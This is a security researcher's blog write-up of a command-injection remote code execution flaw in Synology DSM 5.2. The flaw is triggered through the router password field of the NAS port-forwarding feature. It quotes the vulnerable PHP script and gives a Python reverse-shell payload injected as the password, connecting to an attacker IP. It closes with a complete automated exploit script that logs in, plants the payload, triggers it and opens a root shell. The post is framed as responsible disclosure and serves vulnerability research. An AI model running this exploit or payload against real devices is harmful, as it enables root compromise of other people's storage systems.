TLDR

RCE in Synology NAS DSM 5.2 due to lack of input sanitisation. RCE triggered indirectly via port forwarding mechanism in the NAS UI.

Getting started

I recently bought a Synology DS416 NAS and noticed during the set-up process you are first required to download the device firmware, which is then flashed to the device via the setup web interface.

Interested in my new devices security, I decided to take a look at the firmware while the system was installing.

Firstly, let’s download the DSM 5.2 firmware (unsure which versions are affected by this vulnerability) from the official Synology download center and identify what we are dealing with:

wget http://global.download.synology.com/download/DSM/release/5.2/5644/DSM_DS416_5644.pat file DSM_DS416_5644.pat DSM_DS416_5644.pat: POSIX tar archive ( GNU ) tar -xvf DSM_DS416_5644.pat

So, the archived DSM_DS416_5644.pat file contains a number of subsidiary files and packages, as well as what looks like a compressed kernel. As the device has no default storage (OS is installed to your separate HDD’s), hda1.tgz immediately looks interesting.

file hda1.tgz hda1.tgz: XZ compressed data tar -xvf hda1.tgz

So hda1.tgz is another archive, in which we find what looks to be a Linux filesystem.

After some cursory browsing, I noticed some helper php files are in use, so let’s look for some low hanging fruit.

PHP 101

Let’s take a look at our first grep result:

cat ./etc/portforward/routerdb/BT/HomeHub2.0/Version8.1.H.G_TypeA/dele_rule.php

#!/usr/bin/php <? php error_reporting ( 0 ); #unassign all application in router. It's may be over max_number in assigned app. $filename = $_SERVER [ "argv" ][ 1 ]; $rn = $_SERVER [ "argv" ][ 2 ]; $dev_ip = $_SERVER [ "argv" ][ 3 ]; $header = $_SERVER [ "argv" ][ 4 ]; $pass = $_SERVER [ "argv" ][ 5 ]; $url = $_SERVER [ "argv" ][ 6 ]; $dev_name = "" ; $synologyNo ; $deletenow ; $App = array (); $appDev = array (); $deleDev = array (); $szCmd ; foreach ( file ( $filename ) as $value ) { #get DS's Device Name if ( preg_match ( "/<option value= \" " . $dev_ip . " \" >(\S+)<\/option>/i" , $value , $match )) { $dev_name = $match [ 1 ]; #Application defined by synology. } else if ( preg_match ( "/<tr class= \" \S+ \" ><td class= \" indence fixedtdwidth fixedtd \" >synology<input name= \" delete\d+ \" type= \" hidden \" value= \" (\d+) \" /i" , $value , $match )) { $synologyNo = $match [ 1 ]; $App [] = $match [ 1 ]; #All Assigned Application Name. } else if ( preg_match ( "/<tr class= \" \S+ \" ><td class= \" indence fixedtdwidth fixedtd \" >.+<input name= \" delete\S+ \" type= \" hidden \" value= \" (\d+) \" /i" , $value , $match )) { $App [] = $match [ 1 ]; #All Assigned Application Name. } else if ( preg_match ( "/td class= \" indence fixedtdwidth fixedtd \" style= \" position:relative; z-index:1; \" >(\S+)<\/td><td class/i" , $value , $match )) { $appDev [] = $match [ 1 ]; #All Assigned Application's Device Name. } else if ( preg_match ( "/<\/table>/i" , $value , $match )) { break ; } else { } } unset ( $value ); #scalar(@APP) must the same with scalar(@appDev) #according to $dev_name, decide which Application need be delete. $app_count = count ( $appDev ); for ( $i = 0 ; $i < $app_count ; $i ++ ) { if ( preg_match ( "/^" . $dev_name . "$/" , $appDev [ $i ]) || preg_match ( "/^" . $synologyNo . "$/" , $App [ $i ])) { $deleDev [] = $App [ $i ]; } } $dele_count = count ( $deleDev ); $deleStr = "" ; for ( $i = 0 ; $i < $dele_count ; $i ++ ) { $app_count = count ( $App ); $deleStr = "" ; for ( $t = 1 ; $t <= $app_count ; $t ++ ) { $deleStr = $deleStr . "&delete" . $t . "=" . $App [ $t - 1 ]; if ( preg_match ( "/" . preg_quote ( $App [ $t - 1 ]) . "/" , $deleDev [ $i ], $m )) { $deletenow = $t ; } } $szCmd = "/usr/syno/bin/curl -b " . $header . " -u 'admin:" . $pass . "' -d 'app_name=-" . $deleStr . "&device_ip=-&form_action=delete" . $deletenow . "&rn=" . $rn . "' '" . $url . "'" ; system ( $szCmd ); $tmparray = $App ; $App = array (); for ( $j = 0 ; $j < $app_count ; $j ++ ) { if ( $tmparray [ $j ] !== $deleDev [ $i ]) { $App [] = $tmparray [ $j ]; } } } exit ( 0 ); ?>

As we can see, the php script above appears to contain the following functionality:

Take inputs passed to the script

Add port forwarding rules via a 3rd party routers web interface

Delete port forwarding rules via a 3rd party routers web interface

Interestingly, when a port is deleted the (unsanitised) inputs passed to the script are unsafetly concatenated into a string, then passed to a php system call. If we can control these inputs, we can ‘break out’ of the string and append arbitrary commands to the system call; thereby obtaining RCE on the NAS device.

A first look

The NAS OS has installed by this point, so we can login to the device and take a look around the UI. The UI looks nice and the control panel appears to have many features. One in particular that takes my immediate interest (based on the script above) is ‘External Access’.

The ‘External Access’ option permits users to configure their router and from within the NAS UI they can perform actions on their router such as adding or deleting forwarded ports. Based on the naming convention of our vulnerable script above, the ‘BT: HomeHUB2.0’ looks promising. By using the ‘custom router account’ we can also identify what appears to be the parameters being passed to the script.

Gaining access

Assuming these parameters are passed directly to the php script with no intermediate sanitisation, we can attempt to modify the php system call by ‘breaking out’ of the unsafetly concatenated string and appending our own arbitrary commands.

In particular, the offending line:

$szCmd = "/usr/syno/bin/curl -b " . $header . " -u 'admin:" . $pass . "' -d 'app_name=-" . $deleStr . "&device_ip=-&form_action=delete" . $deletenow . "&rn=" . $rn . "' '" . $url . "'" ;

For example, by changing our router password to a\';touch /tmp/test , we should ‘break out’ of the initial command and append touch /tmp/test , which will then also be passed to the system call. Thereby writing the file test to the /tmp directory of the NAS device.

Creating files is well and good, but to make the most of an RCE, we want a revere shell.

For example, using python we can set the following password for the HomeHub2.0 router, which will initiate a reverse shell from the NAS device to our system listening at 192.168.50.1 on TCP port 1234 when the affected call is triggered:

b \ ';python -c ' import socket , subprocess , os ; s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ); s . connect (( "192.168.50.1" , 1234 )); os . dup2 ( s . fileno (), 0 ); os . dup2 ( s . fileno (), 1 ); os . dup2 ( s . fileno (), 2 ); p = subprocess . call ([ "/bin/sh" , "-i" ])

Once the backdoored router password has been added, we simply need to follow the information flow as per the script above to trigger our backdoor and gain a reverse shell:

Login to the NAS UI

Set up the HomeHub2.0 router with the backdoored password

Delete some router rule

Automating the process

Naturally, we want to automate this attack. Unfortunately, the login process to the NAS is not straight forward. When logging in, the username and password (and some additional parameters) are encrypted with both RSA and AES (assumedly to protect against MITM attacks on the network) and then the encrypted data is posted to the server.

Looking at the client side JavaScript files we can identify how this encryption is being performed.

onEncryptionDone : function ( a , h , f ) { var c = this . form . findField ( " passwd " ), b = this . form . findField ( " __cIpHeRtExT " ), e = this . form . findField ( " client_time " ), d = "" , g = {}; if ( a ) { SYNO . Encryption . CipherKey = h . cipherkey ; SYNO . Encryption . RSAModulus = h . public_key ; SYNO . Encryption . CipherToken = h . ciphertoken ; SYNO . Encryption . TimeBias = h . server_time - Math . floor ( + new Date () / 1000 ) } g [ c . getName ()] = c . getValue (); g . key = SYNO . SDS . ForgetPass . ticket ; g [ e . getName ()] = e . getValue (); g = SYNO . Encryption . EncryptParam ( g ); d = g [ h . cipherkey ] || "" ; b . setValue ( d ); this . initIFrameEvent (); this . setFormDisabled ( true , !! d ); this . form . el . dom . submit () }, SYNO . Encryption . EncryptParam = function ( g ) { var e , c , b , d = {}, a = {}, f = SYNO . Encryption . GenRandomKey ( 501 ); if ( ! SYNO . Encryption . CipherKey || ! SYNO . Encryption . RSAModulus || ! SYNO . Encryption . CipherToken ) { return g } e = new SYNO . Encryption . RSA (); e . setPublic ( SYNO . Encryption . RSAModulus , " 10001 " ); d [ SYNO . Encryption . CipherToken ] = Math . floor ( + new Date () / 1000 ) + SYNO . Encryption . TimeBias ; c = e . encrypt ( f ); if ( ! c ) { return g } Ext . apply ( d , g ); b = SYNO . Encryption . AES . encrypt ( Ext . urlEncode ( d ), f ). toString (); if ( ! b ) { return g } a [ SYNO . Encryption . CipherKey ] = JSON . stringify ({ rsa : SYNO . Encryption . Base64 . hex2b64 ( c ), aes : b }); return a };

During the login process, the client also submits a request to obtain the server’s public key. As seen in the script above, when a response from the server results in a failure, it’s possible to submit the valid login request in plain text. Therefore we don’t need to re-implement this encryption method, we can instead abuse the insecure fall back.

Firstly, we login to the device:

session = requests . session () data = { 'username' : username , 'passwd' : password , 'OTPcode' : '' , '__cIpHeRtExT' : '' , 'client_time' : '0' , 'isIframeLogin' : 'yes' } url = 'https://%s:%s/webman/login.cgi?enable_syno_token=yes' % ( nas_ip , nas_port ) syno_token = session . post ( url , data = data , verify = False ). content . split ( " \" " )[ 3 ] headers = { 'X-SYNO-TOKEN' : syno_token } </ pre >

Secondly, we utilise the valid cookie and custom synology headers to set up the vulnerable router with our backdoored password:

backdoor = '"b \\\' ;python -c \' import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])"' % ( my_ip , my_port ) data = { 'router_brand' : 'BT' , 'router_model' : 'HomeHub2.0' , 'router_version' : 'Version8.1.H.G_TypeA' , 'router_protocol' : 'http' , 'router_port' : '8000' , 'support_upnp' : 'no' , 'support_natpmp' : 'no' , 'router_account' : 'aaaaa' , 'router_pass' : backdoor , 'api' : 'SYNO.Core.PortForwarding.RouterConf' , 'method' : 'set' , 'version' : '1' } url = 'https://%s:%s/webapi/_______________________________________________________entry.cgi' % ( nas_ip , nas_port ) session . post ( url , data = data , verify = False , headers = headers ) </ pre >

Finally, we trigger the backdoor by removing a port forwarding rule:

{ 'rules' : '[{"id":0,"enable":true,"rule_id":"1","ds_port":"1","router_port":"1","router_protocol":"tcp","serviceid":"","service_name":false,"force":false}]' , 'task_id_suffix' : "PF" , 'api' : 'SYNO.Core.PortForwarding.Rules' , 'method' : 'save' , 'version' : "1" } session . post ( url , data = data , verify = False , headers = headers )

Pulling it all together

import requests from pwn import * requests . packages . urllib3 . disable_warnings () username = 'test' password = 'test' nas_ip = '192.168.50.10' nas_port = 5001 my_ip = '192.168.50.11' my_port = 1234 print "[+] Accessing device.." session = requests . session () data = { 'username' : username , 'passwd' : password , 'OTPcode' : '' , '__cIpHeRtExT' : '' , 'client_time' : '0' , 'isIframeLogin' : 'yes' } url = 'https://%s:%s/webman/login.cgi?enable_syno_token=yes' % ( nas_ip , nas_port ) syno_token = session . post ( url , data = data , verify = False ). content . split ( " \" " )[ 3 ] headers = { 'X-SYNO-TOKEN' : syno_token } print "[+] Extracted SYNO-TOKEN %s.." % syno_token backdoor = '"b \\\' ;python -c \' import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])"' % ( my_ip , my_port ) data = { 'router_brand' : 'BT' , 'router_model' : 'HomeHub2.0' , 'router_version' : 'Version8.1.H.G_TypeA' , 'router_protocol' : 'http' , 'router_port' : '8000' , 'support_upnp' : 'no' , 'support_natpmp' : 'no' , 'router_account' : 'aaaaa' , 'router_pass' : backdoor , 'api' : 'SYNO.Core.PortForwarding.RouterConf' , 'method' : 'set' , 'version' : '1' } url = 'https://%s:%s/webapi/_______________________________________________________entry.cgi' % ( nas_ip , nas_port ) session . post ( url , data = data , verify = False , headers = headers ) print "[+] Backdoored external access password.." data = { 'rules' : '[{"id":0,"enable":true,"rule_id":"1","ds_port":"1","router_port":"1","router_protocol":"tcp","serviceid":"","service_name":false,"force":false}]' , 'task_id_suffix' : "PF" , 'api' : 'SYNO.Core.PortForwarding.Rules' , 'method' : 'save' , 'version' : "1" } session . post ( url , data = data , verify = False , headers = headers ) print "[+] Triggering backdoor.." l = listen ( my_port ) l . interactive ()

It’s running as root, so that makes privilege escalation a breeze.

Note: The astute readers might notice the vulnerable php script above will only follow the aforementioned data flow when specific patterns are matched (based on the responses received from the routers web interface). Initially, I set up a faux router (based on a real web interface for HomeHub2.0 identified via a Shodan search) to give the correct dummy responses to ensure the data flow was followed as expected. However, this ultimately was not needed to trigger the RCE, so I suspect something even more sinister is going on under the hood; which I did not investigate.

PS: for those of you playing along at home who also want a shell on their NAS. I later found it’s also possible to just enable SSH via the UI 🙂

Edit: At the request of the Synology security team, and to avoid some confusion in the usage of the ‘test’ account in the POC above, this attack can only be performed with a valid administrative account. This clearly affects the likelihood of this attack, however there a few things to consider in this particular case. Firstly, this is not intended functionality by the developers. Secondly, many of these devices are placed on the Internet and only accessible via 1 port (their web interface); so being able to gain a root shell via this method and bypass corporate firewalls/routers/etc is certainly interesting.

Disclosure timeline